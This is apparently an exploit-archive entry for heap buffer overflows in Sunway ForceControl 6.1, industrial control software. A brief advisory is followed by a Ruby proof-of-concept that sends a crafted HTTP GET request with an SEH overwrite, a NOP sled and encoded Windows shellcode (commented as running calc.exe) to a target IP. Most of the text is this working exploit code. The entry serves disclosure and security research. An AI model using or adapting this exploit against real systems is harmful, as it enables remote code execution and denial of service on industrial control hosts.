Sunway ForceControl 6.1 – Multiple Heap Buffer Overflow Vulnerabilities
source: https://www.securityfocus.com/bid/48328/info Sunway ForceControl is prone to multiple heap-based buffer-overflow vulnerabilities because the application fails to perform adequate boundary checks on user-supplied data. Attackers can exploit these issues to execute arbitrary code on the affected device. Failed exploit attempts will result in a denial-of-service condition. def send(packet) begin sock = TCPSocket.new(@ip, @port) sock.write(packet) rescue Exception => e return false else resp = sock.recv(1024) sock.close return true end end @ip = ARGV[0] @port = 80 # windows/exec CMD=calc.exe shellcode = "\xb8\xd5\x45\x06\xc4\xda\xde\xd9\x74\x24\xf4\x5b\x33\xc9" + "\xb1\x33\x31\x43\x12\x03\x43\x12\x83\x3e\xb9\xe4\x31\x3c" + "\xaa\x60\xb9\xbc\x2b\x13\x33\x59\x1a\x01\x27\x2a\x0f\x95" + "\x23\x7e\xbc\x5e\x61\x6a\x37\x12\xae\x9d\xf0\x99\x88\x90" + "\x01\x2c\x15\x7e\xc1\x2e\xe9\x7c\x16\x91\xd0\x4f\x6b\xd0" + "\x15\xad\x84\x80\xce\xba\x37\x35\x7a\xfe\x8b\x34\xac\x75" + "\xb3\x4e\xc9\x49\x40\xe5\xd0\x99\xf9\x72\x9a\x01\x71\xdc" + "\x3b\x30\x56\x3e\x07\x7b\xd3\xf5\xf3\x7a\x35\xc4\xfc\x4d" + "\x79\x8b\xc2\x62\x74\xd5\x03\x44\x67\xa0\x7f\xb7\x1a\xb3" + "\xbb\xca\xc0\x36\x5e\x6c\x82\xe1\xba\x8d\x47\x77\x48\x81" + "\x2c\xf3\x16\x85\xb3\xd0\x2c\xb1\x38\xd7\xe2\x30\x7a\xfc" + "\x26\x19\xd8\x9d\x7f\xc7\x8f\xa2\x60\xaf\x70\x07\xea\x5d" + "\x64\x31\xb1\x0b\x7b\xb3\xcf\x72\x7b\xcb\xcf\xd4\x14\xfa" + "\x44\xbb\x63\x03\x8f\xf8\x9c\x49\x92\xa8\x34\x14\x46\xe9" + "\x58\xa7\xbc\x2d\x65\x24\x35\xcd\x92\x34\x3c\xc8\xdf\xf2" + "\xac\xa0\x70\x97\xd2\x17\x70\xb2\xb0\xf6\xe2\x5e\x19\x9d" + "\x82\xc5\x65" payload = "H" * 1599 payload << "\xeb\x06\x90\x90" # Pointer to Next SE Handler payload << [0x719737FA].pack("V*") # SEH Handler - p/p/r payload << "\x90" * 40 payload << shellcode payload << "\x90" * (4058 - shellcode.length) pack = "GET /#{payload} HTTP/1.1\r\n" pack << "Host: http://#{@ip}:#{@port}\r\n\r\n" puts "packet sended." if send(pack) |